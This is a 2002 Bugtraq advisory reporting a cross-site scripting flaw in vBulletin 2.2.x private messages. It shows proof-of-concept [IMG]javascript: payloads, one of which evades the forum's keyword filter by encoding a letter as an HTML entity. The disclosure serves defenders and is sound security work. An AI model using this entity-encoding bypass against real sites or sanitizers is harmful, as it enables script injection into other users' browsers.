[IMG] tag vulnerability in vBulletin

From: frog frog (leseulfrog@hotmail.com)
Date: 03/22/02 

Date: 22 Mar 2002 22:56:43 -0000
From: frog frog <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com
('binary' encoding is not supported, stored as-is)

product :
vbulletin

versions :
2.2.2, 2.2.0 , maybe others.

Probleme :

One knows that if one sendings this code in private
message :
[IMG]javascript:alert('hum');[/IMG]
a space will be placed between "java" and "script".

This filter can be by-passed :
[IMG]javas&#99;ript:alert('hop');[/IMG]

More details in french :
http://www.ifrance.com/kitetoua/tuto/vBulletin.txt

Translated by google :
http://translate.google.com/translate?u=http%3A%
2F%2Fwww.ifrance.com%2Fkitetoua%2Ftuto%
2FvBulletin.txt&langpair=fr%7Cen&hl=fr&prev=%
2Flanguage_tools

frog-m@n